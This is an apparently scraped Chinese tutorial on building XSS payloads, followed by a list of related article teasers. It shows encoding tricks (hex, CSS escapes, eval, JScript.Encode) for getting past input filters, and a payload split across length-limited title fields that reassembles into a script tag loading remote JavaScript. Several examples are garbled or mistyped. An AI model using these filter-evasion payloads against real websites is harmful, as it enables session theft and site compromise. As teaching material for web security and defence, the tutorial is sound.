XSS 跨站脚本攻击之构造剖析(二)
1.利用字符编码
(1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode
(2)使用一个XSS编码工具,以便对字符串进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码
例如:<img src="javascript:alert('xss');">
编码后:
<img src="jasript:alert('XSS');">
(3)另外在javascript中,有一个eval()函数,该函数可计算字符串,并执行其中的javascript代码,
例如: <script>
eval("alert('xss')");
</script>
(4)可以使用\连接字符串,然后使用eval()函数执行十六进制字符串形式的脚本:
例如: <script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x27\x29");
</script>
(5)此外,样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释:
例如:<style>
BODY{backgroud:\75\72\6c\28\68\74\74\70\3a\2f\2f\31\37\2e\30\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\66\29
}
</style>
(6)style属性中的javascript和expression等字符一般会被程序过滤掉,但经过十六进制编码后则可以逃避过滤:
例如:
①<div style="xss:expression"
(alert(1));"/div>
②<img STYLE="backgroud-image:
\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">
(7)javascript支持unicode,escapes,十六进制,八进制等编码方式
(8)编码/加密技术-------JScript Encode 和 VBScript Encode
Microsoft提供了脚本加密机制,可以对脚本进行加密,包括JScript和VBScript,经过加密的脚本能在IE下运行,在其他浏览器中则不识别;
例如:
<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ //等价于alert(1)
</script>
2.拆分跨站法:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑起来在一起执行,这和缓冲区溢出的shellcode的利用方式一致;
存在XSS漏洞的页面,该XSS出现在标题处,并且对输入的字符的长度有限制:
标题1:<script>z='<script src='; /*
标题2:*/z+='http://www.test.c'; /*
标题3:*/z+='n/l.js><\ /script>'; /*
标题4:*/document/write(z) </script>
/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转化为:
<script> z='<script src=';
z+='http://www.test.c';
z+='n/l.js><\ /script>';
document.write(z)</script>
然后依次赋值给z变量:
<script>z='<script src=http://www.test.c/l.js></script>';
document.write(z)
</script>
XSS 跨站脚本攻击之构造剖析(二)的更多相关文章
- XSS 跨站脚本攻击之构造剖析(一)
1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击 (1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码: (2)绕过XSS F ...
- 初窥XSS跨站脚本攻击
XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
- web应用程序安全攻防---sql注入和xss跨站脚本攻击
kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...
- XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)
转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...
- XSS(跨站脚本攻击) - 常用代码大全
XSS(跨站脚本攻击) - 常用代码大全-版本一 1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> < ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- xss(跨站脚本攻击),crsf(跨站请求伪造),xssf
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
随机推荐
- 【mongo】mongo数据转json时特殊类型处理
mongo数据库中的有些数据类型是无法用json序列化的,比如ObjectId或者datetime.datetime类型. 可以通过json.JSONEncoder来处理 import json im ...
- python安装paramiko模块
一.简介 paramiko是用python语言写的一个模块,遵循SSH2协议,支持以加密和认证的方式,进行远程服务器的连接. 由于使用的是python这样的能够跨平台运行的语言,所以所有python支 ...
- chrome进入控制台时自动进入断点模式的解决方法
简单粗暴,不知道为什么,去掉那个√就好了
- ASP.NET SignalR 与 LayIM2.0 配合轻松实现Web聊天室(八) 之 用 Redis 实现用户在线离线状态消息处理
前言 上篇的预告好像是“聊天室的小细节,你都注意到了吗?”.今天也是为那篇做铺垫吧.之前的版本有好多问题,比如:当前登录用户是否合法问题,userid参数如果随便传后台没有验证.还有一个致命的问题,用 ...
- c语言字符集
一.字符常量 'A', 'B','\n','\'','1' 二.字符类型变量的赋值 char c1='A'; char c2='b'; char c3=65; c2='\''; c2='\n'; 三. ...
- Swift - 状态栏颜色显示(字体、背景)
ios上状态栏 就是指的最上面的20像素高的部分 状态栏分前后两部分,要分清这两个概念,后面会用到: 前景部分:就是指的显示电池.时间等部分: 背景部分:就是显示黑色或者图片的背景部分: 如下图:前景 ...
- Android Studio 生成Jar包时遇到的gradlew下载问题
网上介绍说使用gradlew打包jar,可是输入gradlew makeJar后就开始download XXX.zip,但是等了很久都没有完成.解决办法如下: 原文:http://blog.csdn ...
- nc 显示服务器开放的端口
# nc -z -w xxxx.com - Connection to xxxx.com port [tcp/ftp] succeeded! Connection to xxxx.com port [ ...
- 常用的数据统计Sql 总结(转)
转:http://www.cnblogs.com/zhangweizhong/p/5577842.html 最近刚在搞一个BI的项目,里面需要大量的sql 数据统计相关运用,加深了我又对SQL的理解与 ...
- ExcelReport第一篇:使用ExcelReport导出Excel
导航 目 录:基于NPOI的报表引擎——ExcelReport 下一篇:ExcelReport源码解析 概述 本篇将通过导出学生成绩的示例演示“使用ExcelReport导出Excel”的步骤. ...